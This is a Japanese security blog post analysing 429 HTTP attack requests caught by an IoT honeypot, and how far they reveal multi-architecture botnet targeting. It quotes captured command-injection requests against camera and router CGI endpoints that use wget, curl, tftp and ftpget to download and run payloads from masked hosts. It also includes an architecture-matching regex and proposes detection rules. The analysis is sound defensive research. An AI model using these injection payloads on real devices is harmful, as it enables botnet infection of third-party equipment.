はじめに
三菱電機の大塚です。
三菱電機 情報技術総合研究所では、製品開発時のセキュリティ対策にフィードバックする目的で、複数種類のハニーポットを設置・運用しています。
今回はIoT家電を標的としたサイバー攻撃を観測するハニーポット「IoT家電ハニーポット」で観測したなかで、マルウェアの「複数のアーキテクチャを標的とした攻撃」 に着目した分析結果をご紹介します。
背景
近年のIoTボットネットに関する調査レポートでは、単一のCPUアーキテクチャではなく、ARM・MIPS・x86といった複数のアーキテクチャ向けバイナリを同時に用意し、さらに複数の脆弱性を並行して狙う実装が繰り返し報告されています。
2026年7月には、PaloAltoNetworks Unit 42が複数CPUアーキテクチャ・複数脆弱性を悪用するIoTボットネットフレームワーク「TuxBot v3 Evolution」を、FortiGuard LabsがCVE-2021-27137の悪用とマルチアーキテクチャ伝播を行うGafgyt亜種「C0XMO」を報告しています[1][2]。
ボットネットが複数のアーキテクチャに対応可能な実装である場合、攻撃者は複数の標的を効率的に攻撃でき、自身が使用している機器が標的機器として攻撃される可能性も高まります。
では、こうした「複数のアーキテクチャを標的にしているかどうか」は、HTTPリクエストだけを見て判断できるのでしょうか。
HTTPリクエストからどのアーキテクチャに対応するかを判断できた場合、標的となりやすいアーキテクチャの傾向判断や、それらを攻撃検知に活かせる可能性があります。
実際に取得したHTTPリクエストを分析し、HTTPリクエストからどこまで読み取れるかを調査します。
本稿の分析は、観測したパケットの文字列解析のみで行っています。リクエストに含まれるコマンドの実行や、ペイロード配布元URLへのアクセスは行わず、ペイロード本体を根拠とした断定は本稿では行いません。
なお、記事中のIPアドレスやURLは、誤ってアクセスすることを防ぐため、Xによるマスクなどで無効化しています。
観測環境
| 項目 | 値 |
|---|---|
| 観測期間 | 2026年7月2日 ~ 8月20日(50日間) |
| 観測に使用したIPアドレス | 2つ(センサA、センサB) |
| 観測対象ポート | 80/tcp、8080/tcp |
| 分析対象HTTPリクエスト | 429件 |
| ユニーク送信元IPアドレス | 71ホスト |
| 送信元の国 | 20か国 |
| 送信元のAS組織 | 41組織 |
| ユニークなリクエストパス | 51種類 |
分析には、タイムスタンプ、送信元IPアドレス、GeoIP情報(国名・AS組織名)、宛先IPアドレス、宛先ポート、User-Agent情報、HTTPリクエストライン、リクエストURIを使用します。
センサ・ポート別の内訳は次の通りで、8080/tcp への攻撃が全体の約7割を占めていました。
| センサ | 80/tcp | 8080/tcp | 合計 |
|---|---|---|---|
| センサA | 67 | 167 | 234 |
| センサB | 54 | 141 | 195 |
| 合計 | 121 | 308 | 429 |
分析方法
アーキテクチャを分析する前提として、HTTPリクエスト中のURLに arm や mips という文字列が含まれていても、それだけでは実際の感染対象アーキテクチャを断定できません。
ファイル名は攻撃者が自由に付けられる文字列です。xd.arm7 という名前のファイルの中身が本当にARMv7向けの実行ファイルであるとは限らず、逆に、アーキテクチャ名を含まないファイル名が、実際には特定アーキテクチャ専用実行ファイルであるケースも考えられます。
そこで本稿では、判定の根拠を次の3レベルに分けて扱います。
| レベル | 根拠 | 判定の強さ | 本観測データで判定できるかどうか |
|---|---|---|---|
| L1 | ペイロードの名称および取得パスから推定 | 推定 | ○ |
| L2 | User-Agent情報中のアーキテクチャ表記から推定 | 推定(偽装容易) | △(該当2件のみ・いずれも偽装で判定不可) |
| L3 | 実行ファイルのヘッダー情報(ファイル形式やCPU種別を示す領域)の確認により判定 | 確定 | × |
以降、アーキテクチャに言及する箇所では全て L1(名称・パスからの推定) による判定です。L3の確定判定は、ペイロードを実際に取得・解析する環境が必要であり、今回は分析対象外とします。なお、User-Agent情報にアーキテクチャ表記があったのは2件のみで、いずれもブラウザを騙る偽装文字列でした。
アーキテクチャ文字列の抽出には次のような正規表現を用いました。arm7 と arm を取り違えないよう、長い(=より具体的な)パターンから順に評価する設計にしています。
# アーキテクチャ推定(L1: 名称・パス由来)
# 長いパターンを先に評価する。"xd.arm7" を "arm" と誤分類しないため。
ARCH_PATTERNS = [
("arm64", r"arm64|aarch64|armv8"),
("arm7", r"arm7|armv7l?"),
("arm6", r"arm6|armv6l?"),
("arm5", r"arm5|armv5l?"),
("arm", r"(?<![0-9a-z])arm(?![0-9a-z])"),
("mipsel", r"mipsel|mpsl"),
("mips", r"(?<![0-9a-z])mips(?![0-9a-z])"),
("x86_64", r"x86_64|amd64"),
("x86", r"(?<![0-9a-z])(x86|i[3-6]86)(?![0-9a-z])"),
("sh4", r"sh4"),
("ppc", r"ppc|powerpc"),
("m68k", r"m68k"),
]
def arch_of(name: str):
n = name.lower()
for label, pattern in ARCH_PATTERNS:
if re.search(pattern, n):
return label
return None # 不明 = アーキテクチャ文字列なし
分析結果
ペイロード配布形態の内訳
まず、429件のリクエストを「何をダウンロードさせようとしているか」で分類しました。
| 配布形態 | 件数 | 割合 |
|---|---|---|
シェルスクリプト(.sh / .php) |
356 | 83.0 % |
| アーキテクチャ名を含まないバイナリ(アーキ名なしバイナリ) | 37 | 8.6 % |
| アーキテクチャ名を含むバイナリ(アーキ名ありバイナリ) | 34 | 7.9 % |
| ダウンロードURLなし | 2 | 0.5 % |
シェルスクリプト ████████████████████████████████████████ 356 (83.0%)
アーキ名なしバイナリ ████ 37 (8.6%)
アーキ名ありバイナリ ███ 34 (7.9%)
URLなし | 2 (0.5%)
観測したリクエストの83%は、アーキテクチャ非依存のシェルスクリプトを取得させるものでした。過去の記事[3]で入手した「rondo.ush.sh」と同様に、アーキテクチャ判定処理はそのスクリプト内に記述されている可能性が高く、HTTPリクエストに直接アーキテクチャを判断できる情報は少ないことが判明しました。
この83%に該当するリクエストの具体例を以下に示します。
GET /cgi-bin/masterCGI?ping=nomip&user=;cd /tmp;
wget http://XX.XX.XX.XX/wget.sh -O-|sh -s alcatel;
busybox wget http://XX.XX.XX.XX/wget.sh -O-|sh -s alcatel;
curl http://XX.XX.XX.XX/wget.sh|sh -s alcatel
wget.sh の中身が取得できていないため、このスクリプトが何アーキテクチャ分のバイナリを持っているかは、本HTTPリクエストからは判定できません。
一方で残りの約17%は、シェルスクリプトを経由せず、実行ファイルとみられるファイルを直接指定していました。ここからは複数のアーキテクチャを標的とする様子が直接読み取れるため、この部分を掘り下げて分析します。
アーキテクチャ別の攻撃件数
アーキテクチャ文字列を含む34件のリクエストを、推定アーキテクチャ別に集計しました。1リクエストが複数アーキテクチャに言及する場合は、それぞれにカウントしています。
| 推定アーキテクチャ | 件数 | 該当ファイル名 |
|---|---|---|
| arm7 | 24 |
xd.arm7(19), kaizen.arm7sf_srv(4), arm7(1) |
| arm | 18 |
xd.arm(14), kaizen.arm(4) |
| mips | 7 |
xd.mips(5), memory_load.mips(1), mips(1) |
| x86_64 | 4 |
kaizen.x86_64_srv(3), x86_64(1) |
| x86 | 3 |
kaizen.x86_srv(3) |
| arm64 | 1 |
arm64(1) |
arm7 ████████████████████████ 24
arm ██████████████████ 18
mips ███████ 7
x86_64 ████ 4
x86 ███ 3
arm64 █ 1
観測期間中に名称から推定できたアーキテクチャは6種類でした。ARM系(arm / arm7 / arm64)が43件と圧倒的で、言及されているアーキテクチャ57件全体の約75%を占めます。ARM系は、電力効率がよく、かつ、幅広いメーカーがライセンス供与を受けて製品化できることから、組み込み機器で広く使われているアーキテクチャです。組み込み機器はボットネットの標的にされることが多いため、ARM系が高い割合を占める結果になったと考えられます。
注意点として、この結果は、今回観測できなかったアーキテクチャが「攻撃されていない」ことを意味するのではありません。83%を占めるシェルスクリプト経由の配布に含まれている可能性は十分に考えられます。また、本ハニーポットで取得したログでは、HTTPリクエストラインは239文字で記録が打ち切られるという制約があります。1リクエスト内の3種類目以降を読み取れていないケースがあるため、6種類は下限値です。
1リクエスト内のアーキテクチャ数
429件のHTTPリクエストに対し、単一のHTTPリクエストの中に何種類のアーキテクチャが登場するかを数えました。
| 1リクエスト内のアーキテクチャ数 | 件数 |
|---|---|
| 0種類 | 395 |
| 1種類 | 11 |
| 2種類 | 23 |
アーキテクチャ文字列を含む34件のうち、23件(68%)では単一リクエスト内で2種類のアーキテクチャについて記載がありました。
※ 本ハニーポットが取得できるHTTPリクエストラインの文字数上限により、3種類以上を記載していたリクエストが2種類として集計されている場合があります。
2種類を記載したリクエストの中身を見ると、その狙いが読み取れます。以下は監視カメラ製品の脆弱性を標的にしたリクエストのデコード結果です。
※デコード時、リクエストURIも使用。
GET /cgi-bin/supervisor/Factory.cgi?action=setup&brightness=1;
cd /tmp||cd /var||cd /;
# --- ① ARMv7 を試す(取得手段を5通りフォールバック)---
wget http://XX.XX.XX.XX/d/xd.arm7 -O d
|| busybox wget http://XX.XX.XX.XX/d/xd.arm7 -O d
|| curl -o d http://XX.XX.XX.XX/d/xd.arm7
|| tftp -g -l d -r xd.arm7 XX.XX.XX.XX
|| ftpget -u anonymous -p anonymous -P 21 XX.XX.XX.XX d xd.arm7;
chmod 777 d; ./d avtech; rm -rf d;
# --- ② 成否を問わず ARM を試す ---
wget http://XX.XX.XX.XX/d/xd.arm -O d
|| busybox wget http://XX.XX.XX.XX/d/xd.arm -O d
|| curl -o d http://XX.XX.XX.XX/d/xd.arm
|| tftp -g -l d -r xd.arm XX.XX.XX.XX;
chmod 777 d; ./d avtech; rm -rf d
ここから読み取れることは3点あります。
-
CPUアーキテクチャの判定処理が存在しない
uname -mなどで実行環境を調べる処理は一切なく、ARMv7版を実行してみて、次にARM版を実行してみるという総当たり方式です。実行できなかったバイナリはエラーで終了するだけなので、攻撃者にとってはこれで十分ということになります。 -
区切り文字が使い分けられている
アーキテクチャの切り替えは;(前段の成否に関わらず次を実行)、取得手段の切り替えは||(前段が失敗した場合のみ次を実行)です。「取得は1回成功すればよい / 実行は全アーキテクチャで試す」という設計が構文レベルで表現されています。
なお、冒頭のcd /tmp||cd /var||cd /も同じ考え方で、書き込み可能なディレクトリが1つ見つかれば十分という設計です。 -
ファイル名を
dに統一している
保存先が常にdなので、ファイル名からアーキテクチャを特定されにくくなっています。取得URLを見なければアーキテクチャは分かりません。
なお、./d avtech の avtech はアーキテクチャではなく、どの脆弱性から侵入したかを示すキャンペーンタグの可能性があります。
「複数の手段を並べて1つでも通れば成功」という発想は、アーキテクチャだけでなくダウンロード手段にも適用されていました。
| フォールバック連鎖 | 件数 |
|---|---|
wget → busybox wget → curl
|
317 |
wget のみ |
86 |
curl のみ |
10 |
wget → busybox wget → curl → tftp → ftpget
|
9 |
wget → busybox wget
|
5 |
busybox wget のみ |
2 |
全体の74%が wget → busybox wget → curl の3段構成でした。組み込みLinuxでは wget が単独コマンドとして存在せずBusyBoxに統合されている場合や、そもそも wget がなく curl だけがある場合があるため、この冗長化は環境差異への対策と考えられます。最も念入りな9件は、HTTPが遮断された環境も想定して tftp と ftpget(FTP匿名ログイン)まで用意していました。
最も多く観測したキャンペーンについて
全429件のうち309件(72%)を占めた最大のキャンペーンについて、HTTPリクエストの内容を確認します。配布ホストは 91.92.40.XX、取得対象は wget.sh のみです。観測されたHTTPリクエストに含まれる情報が、FORTINETの記事[4]に記載のローダーURLやスクリプト名と一致することから、本キャンペーンはEvooo1BotというLinuxボットネットファミリである可能性が高いです。
| 項目 | 値 |
|---|---|
| リクエスト数 | 309 |
| 送信元IPアドレス | 5ホスト(すべてオランダ、同一AS組織) |
| 観測期間 | 2026年7月8日 ~ 7月14日(7日間) |
| 悪用されたエンドポイント | 39種類(観測全体51種類のうち) |
観測した本キャンペーンは、39種類のエンドポイントへの攻撃を7日間で実行しました。複数の脆弱性に対して攻撃を試みているものの、HTTPリクエストにはアーキテクチャ情報が一切現れませんでした。そのため、複数のアーキテクチャに対応しているかどうかは wget.sh の中身次第です。
複数の脆弱性を標的にしているかどうかは、リクエストパスからエンドポイントを特定することで直接観測できますが、複数のアーキテクチャを標的としているかどうかは、リクエスト内に直接記載されない限り判定が難しいことが分かります。
まとめ
今回は、ハニーポット観測にて取得したHTTPリクエストから、マルウェアの「複数のアーキテクチャを標的とした攻撃」について分析を行いました。その結果、HTTPリクエスト分析だけで到達できるのは、L1(名称・パスからの推定)までであり、「実際に何アーキテクチャに対応するか」を調査するには、実際のダウンローダファイルの取得が必要であることが分かりました。一方、HTTPリクエストにアーキテクチャ文字列を含むものに関しては、総当たり方式の採用や、区切り文字を使い分けて全アーキテクチャを試す様子が確認できました。
攻撃の検知ルールとして、HTTPリクエスト内に含まれる文字列一致での検知は単純かつ適用が容易です。今回の結果から、より精度の高い検知には、ダウンローダファイルを入手し、その内容を踏まえて検知ルールを検討することが重要であると考えられます。一方、全体の74%が、wget … || busybox wget … || curl … という3段構成であり、IoT機器の正常な運用では通常見られない構文であるため、アーキテクチャ名に依存しない検知条件の候補になると考えられます。
参考
[1] Palo Alto Networks, TuxBot v3: Inside an IoT Botnet Framework With LLM-Assisted Development, https://unit42.paloaltonetworks.com/tuxbot-v3-evolution-iot-botnet/
[2] FortiGuard Labs, Inside the Cross-Platform Propagation of a New Gafgyt Variant C0XMO, https://www.fortinet.com/blog/threat-research/inside-cross-platform-propagation-of-new-gafgyt-variant-c0xmo
[3] @melkruri, ハニーポット観測:新型ボットネット「RondoDox」ダウンローダファイルの分析, https://qiita.com/melkruri/items/c383b426b3cb458ea14e
[4] FortiGuard Labs, Multi-Functional Linux Botnet “Evooo1Bot”, https://www.fortinet.com/jp/blog/threat-research/multi-functional-linux-botnet-evooo1bot